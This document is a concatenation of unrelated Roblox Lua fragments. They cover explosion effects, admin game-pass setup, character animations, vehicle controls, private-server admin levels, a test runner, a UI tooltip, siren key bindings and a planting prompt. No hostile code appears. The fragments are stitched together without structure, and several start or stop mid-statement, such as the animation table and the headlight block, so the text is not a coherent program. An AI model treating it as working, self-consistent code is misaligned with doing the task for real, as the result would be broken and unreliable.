script.Parent.Blam:Play() script.Parent.Anchored = true script.Parent.Attachment.Star.Enabled = false shock = Instance.new("Part") shock.CanCollide = false shock.Anchored = true shock.Rotation=Vector3.new(90,0,90) shock.Name = "SHOCKWAVE" shock.Transparency = 0.2 shock.BrickColor = BrickColor.new("New Yeller") shock.formFactor = "Custom" shock.TopSurface = 0 shock.BottomSurface = 0 shock.Material = "Neon" shock.CastShadow = false script.Mesh0:clone().Parent = shock local erase0 = script.Fade0:clone() erase0.Parent = shock erase0.Disabled = false shock.Parent = game.Workspace shock.Position=script.Parent.Position puff = Instance.new("Part") script.Parent.Anchored=true puff.CanCollide = false puff.Anchored = true puff.Name = "hi lol" puff.Transparency = 0.2 puff.BrickColor = BrickColor.new("Lily white") puff.formFactor = "Custom" puff.TopSurface = 0 puff.BottomSurface = 0 puff.Size = Vector3.new(3,3,3) puff.Material = Enum.Material.Neon puff.CastShadow = false script.Mesh:clone().Parent = puff local erase = script.FadeEx:clone() erase.Parent = puff erase.Disabled = false puff.Parent = game.Workspace puff.Position = script.Parent.Position puff.CastShadow = false puff = Instance.new("Part") script.Parent.Anchored=true puff.CanCollide = false puff.Anchored = true puff.Name = "whoosh" puff.Transparency = 0 puff.BrickColor = BrickColor.new("Pearl") puff.formFactor = "Custom" puff.TopSurface = 0 puff.BottomSurface = 0 puff.Size = Vector3.new(1,1,1) puff.Material = Enum.Material.Neon puff.CastShadow = false script.Mesh:clone().Parent = puff local erase = script.tweener2:Clone() erase.Parent = puff erase.Disabled = false puff.Parent = game.Workspace puff.Position = script.Parent.Position puff.CastShadow = false script.Parent.Nebula:Emit(300) script.Parent.BlamEffect:Emit(300) script.Parent.Nebula2:Emit(300) script.Parent.del.Disabled = false wait(50) script.Parent:Destroy()
----------------- --| Variables |-- -----------------
local GamePassService = Game:GetService('GamePassService') local PlayersService = Game:GetService('Players') local InsertService = Game:GetService('InsertService') local LightingService = Game:GetService('Lighting') --TODO: Use new data store service once that exists local GamePassIdObject = WaitForChild(script, 'GamePassId') local ToolAssetsToLoad = WaitForChild(script, 'ToolAssetsToLoad') local AdminTools = LightingService:FindFirstChild('AdminTools')
-- This is in charge of the animations for the character. Pretty much stole it from the default character. Removed emote stuff.
function waitForChild(parent, childName) local child = parent:findFirstChild(childName) if child then return child end while true do child = parent.ChildAdded:wait() if child.Name==childName then return child end end end local Figure = script.Parent local Torso = waitForChild(Figure, "Torso") local RightShoulder = waitForChild(Torso, "Right Shoulder") local LeftShoulder = waitForChild(Torso, "Left Shoulder") local RightHip = waitForChild(Torso, "Right Hip") local LeftHip = waitForChild(Torso, "Left Hip") local Neck = waitForChild(Torso, "Neck") local Humanoid = waitForChild(Figure, "Humanoid") local pose = "Standing" local currentAnim = "" local currentAnimInstance = nil local currentAnimTrack = nil local currentAnimKeyframeHandler = nil local currentAnimSpeed = 1.0 local animTable = {} local animNames = { idle = { { id = "http://www.roblox.com/asset/?id=180435571", weight = 9 }, { id = "http://www.roblox.com/asset/?id=180435792", weight = 1 } }, walk = { { id = "http://www.roblox.com/asset/?id=180426354", weight = 10 } }, run = { { id = "run.xml", weight = 10 } }, jump = { { id = "http://www.roblox.com/asset/?id=125750702", weight = 10 } }, fall = { { id = "http://www.roblox.com/asset/?id=180436148", weight = 10 } }, climb = { { id = "http://www.roblox.com/asset/?id=180436334", weight = 10 } }, sit = { { id = "http://www.roblox.com/asset/?id=178130996", weight = 10 } }, toolnone = { { id = "http://www.roblox.com/asset/?id=182393478", weight = 10 } }, toolslash = { { id = "http://www.roblox.com/asset/?id=129967390", weight = 10 }
-- variables
local pings = {} local projectiles = {}
--Interpret input
local function getInputValues() if UserInputService:GetLastInputType() ~= Enum.UserInputType.Touch then ---Let the control module handle all none-touch controls script.Throttle.Value = _calculateInput("Throttle") - _calculateInput("Brake") script.Steering.Value = _calculateInput("SteerLeft") + _calculateInput("SteerRight") script.HandBrake.Value = _calculateInput("Handbrake") else --The vehicle gui handles all the touch controls script.Throttle.Value = VehicleGui.throttleInput script.Steering.Value = VehicleGui.steeringInput script.HandBrake.Value = VehicleGui.handBrakeInput end end ProximityPromptService.Enabled = false
--// HeadAdmins can do :permadmin, so it's unsafe to to make them head admins unless you change the perm levels for those commands or disable SaveAdmins in the settings
local PRIVATE_SERVER_OWNER_ADMIN_LEVEL: number = 200 --// (admin levels are defined in loader Settings) return function(Vargs) local server = Vargs.Server local service = Vargs.Service local Admin = server.Admin --// If VIP Server is detected trigger code. if game.PrivateServerOwnerId ~= 0 then service.Events.PlayerAdded:Connect(function(plr: Player) --PRIVATE_SERVER_OWNER_ADMIN_LEVEL > Admin.GetLevel(plr) if game.PrivateServerOwnerId == plr.UserId then Admin.SetLevel(plr, PRIVATE_SERVER_OWNER_ADMIN_LEVEL) end end) end end
--[[ Create a new test result node and push it onto the navigation stack. ]]
function TestSession:pushNode(planNode) local node = TestResults.createNode(planNode) local lastNode = self.nodeStack[#self.nodeStack] or self.results table.insert(lastNode.children, node) table.insert(self.nodeStack, node) local lastContext = self.contextStack[#self.contextStack] local context = Context.new(lastContext) table.insert(self.contextStack, context) local lastExpectationContext = self.expectationContextStack[#self.expectationContextStack] local expectationContext = ExpectationContext.new(lastExpectationContext) table.insert(self.expectationContextStack, expectationContext) end
--> Dependencies
local Tween = require(ReplicatedStorage.Modules.Tween)
-- Calculate label length
local LABEL_TEXT = 'F' local LABEL_LENGTH = TextService:GetTextSize(LABEL_TEXT, 24/2, Enum.Font.SourceSans, Vector2.new(math.huge, math.huge)).X local ICON_SIZE = 18 local function ScopeLockTooltip(props) return new('ImageLabel', { BackgroundTransparency = 1; ImageTransparency = 1 - 0.14; Image = 'rbxassetid://4445959523'; ScaleType = Enum.ScaleType.Slice; SliceCenter = Rect.new(4, 4, 12, 12); ImageColor3 = Color3.fromRGB(0, 0, 0); Size = UDim2.new(0, LABEL_LENGTH + (ICON_SIZE + 12)/2, 0, 30/2); LayoutOrder = props.LayoutOrder or 3; }, { IconWrapper = new('Frame', { Size = UDim2.new(0, ICON_SIZE/2, 0, ICON_SIZE/2); Position = UDim2.new(0, 4/2, 0.5, 0); AnchorPoint = Vector2.new(0, 0.5); BackgroundTransparency = 1; LayoutOrder = 0; }, { Icon = new('ImageLabel', { Size = UDim2.new(1, 0, 1, 0); BackgroundTransparency = 1; ImageTransparency = 0.5; Image = 'rbxassetid://2244452978'; ImageRectOffset = Vector2.new(14*2, 0) * 2; ImageRectSize = Vector2.new(14, 14) * 2; }); }); Label = new('TextLabel', { BackgroundTransparency = 1; Size = UDim2.new(0, LABEL_LENGTH, 1, 0); Position = UDim2.new(0, (6 + ICON_SIZE)/2, 0.5, 0); AnchorPoint = Vector2.new(0, 0.5); Font = Enum.Font.SourceSans; TextSize = 24/2; Text = LABEL_TEXT; TextTransparency = 0.5; TextYAlignment = Enum.TextYAlignment.Center; TextColor3 = Color3.fromRGB(255, 255, 255); LayoutOrder = 1; }); }) end return ScopeLockTooltip
--//trunk
local tk = Instance.new("Motor", script.Parent.Parent.Misc.TK.SS) tk.MaxVelocity = 0.02 tk.Part0 = script.Parent.TK tk.Part1 = tk.Parent script:Destroy()
--// # key, Wail
mouse.KeyDown:connect(function(key) if key=="y" then if veh.Lightbar.middle.Wail2.IsPlaying == true then veh.Lightbar.middle.Wail2:Stop() veh.Lightbar.middle.Yelp:Stop() veh.Lightbar.middle.Priority:Stop() script.Parent.Parent.Sirens.Wail.BackgroundColor3 = Color3.fromRGB(62, 62, 62) else veh.Lightbar.middle.Wail2:Play() veh.Lightbar.middle.Yelp:Stop() veh.Lightbar.middle.Priority:Stop() script.Parent.Parent.Sirens.Wail.BackgroundColor3 = Color3.fromRGB(215, 135, 110) script.Parent.Parent.Sirens.Yelp.BackgroundColor3 = Color3.fromRGB(62, 62, 62) script.Parent.Parent.Sirens.Priority.BackgroundColor3 = Color3.fromRGB(62, 62, 62) end end end)
--[[ Defines ProximityPrompt visibility logic specific to the CanPlant cta --]]
local CollectionService = game:GetService("CollectionService") local ReplicatedStorage = game:GetService("ReplicatedStorage") local Players = game:GetService("Players") local CharacterTag = require(ReplicatedStorage.Source.SharedConstants.CollectionServiceTag.CharacterTag) local ItemCategory = require(ReplicatedStorage.Source.SharedConstants.ItemCategory) local countInventoryItemsInCategory = require(ReplicatedStorage.Source.Utility.PlayerData.countInventoryItemsInCategory) local localPlayer = Players.LocalPlayer :: Player local function shouldEnable(promptParent: Instance) -- Can't plant while holding another plant -- If Character doesn't exist, HasTag() returns false, so this still works correctly without waiting for character loaded local character = localPlayer.Character if not character then return false end local isHoldingPlant = CollectionService:HasTag(character :: Model, CharacterTag.Holding) if isHoldingPlant then return false end -- Can't plant if player has no seeds local numSeedsOwned = countInventoryItemsInCategory(ItemCategory.Seeds) return numSeedsOwned > 0 end return shouldEnable
--Light off
src.Headlights.SpotLight.Enabled = true src.Headlights.Material = "Neon" light.Value = true return end end end) src.Parent.ChildRemoved:connect(function(child) if child.Name=="SeatWeld" then src:Stop() script.Parent:Destroy() end end)
-- Libraries
local Libraries = Tool:WaitForChild 'Libraries' local Maid = require(Libraries:WaitForChild 'Maid') local PaintHistoryRecord = require(script:WaitForChild 'PaintHistoryRecord')